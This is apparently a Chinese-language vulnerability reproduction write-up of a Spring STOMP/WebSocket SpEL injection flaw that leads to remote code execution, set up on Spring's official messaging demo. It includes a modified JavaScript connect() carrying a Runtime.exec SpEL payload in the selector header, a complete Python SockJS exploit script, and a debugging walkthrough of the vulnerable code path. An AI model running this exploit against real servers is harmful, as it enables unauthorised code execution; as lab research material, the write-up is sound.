一.首先获取对应漏洞的源码
获取源码的方式与之前的文章大致相同,但是由于本片漏洞需要环境比较简单,因此我们只需要利用官方给的demo就可以完成复现地址为https://github.com/spring-guides/gs-messaging-stomp-websocket,之后进入到IDEA中打开其中的complete包,之后需要更改对应Springboot的版本,修改之后的就可以完成对于环境的搭建过程
二.漏洞原理与复现
本次漏洞的原理主要出现在我们可以篡改Js代码,修改connect函数通过增加一个selector,并且注入SpEL表达式,这样由于对于SpEL表达式没有进行过滤而导致最终实现远程RCE.
复现的过程首先就是首先构造恶意的Connect函数,打开网页浏览器的控制台
将代码输入对应的js代码如下
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
之后就可以点击connect点击connect函数之后我们就可以发现升级为websocket协议的流程,首先是客户端发起connect请求,之后服务器端收到请求之后返回给客户端,之后客户端发送subscribe,在这里面就可以发现我们之前构造好的SpEL表达式
之后只需要我们在send的里面随便填写一些内容,就可以是实现远程RCE了
这样就完成了对于漏洞的复现,此外根据其他人写的python脚本,我们也可以实现对于漏洞的攻击
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time() * 1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
print(url)
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
print(self.base)
print(data)
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://127.0.0.1:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('calc')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'a2ure'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
对于上述脚本主要的原理我们可以进行分析,首先创建SockJs类,继承了Thread类,之后重写对应方法,主要目的还是要实现对于connect,subscribe,以及send的三个方法,其中base
我们可以看到在浏览器中拦截的对应包中就是对应的规格。
本来我想根据Python的selenium包实现自动对于漏洞的攻击,但是由于没办法修改connect函数最终失败
三.漏洞攻击成功原理
本次漏洞的主要成因还是因为SpEL的解析,因此我们只需要找到在哪里解析的SpEL,我们就可以找到漏洞,因此我们定位到org.springframework.messaging.simp.broker包下的filterSubscriptions类
我们只需要执行到这个语句,就可以实现对于SpEL的执行,但是由于这个类之前会有这个判断
因此我们需要让selectorHeaderInUse不为空,这时就用上我们之前所说的subscribe了,之前在重写connect方法时加入了selector因此我们就会调用
这个方法,这个方法就会将之前说的值置为true,这样就完成了对于漏洞的构造,因此根据所说的链,我们可以动态调试运行一下验证对应的漏洞。
首先开启debug模式,然后重写connect方法,这时就会执行到我们的对应断点此外根据下方IDEA中的值我们可以了解到,之前攻击脚本中随机产生的8位数为sessionid
之后我们继续执行就会将selectorHeaderInUse置为true,之后的代码我们可以跳过,直到执行到
到这里就需要我们send一个数据
就会绕过对应的判断,之后一直执行到
到这里之后就会执行SPEL表达式,因此就会弹出计算机
就实现对应的代码执行
四.总结
本次漏洞主要还是依据SPEL表达式没有进行过滤,因此会出现这样的情况,此外本次漏洞复现过程中,一直希望利用python的selenium模拟,来实现对于漏洞的攻击,但是由于没办法修改connect函数,找了很多资料也不能成果,最终放弃了对于python自动化攻击脚本的编写。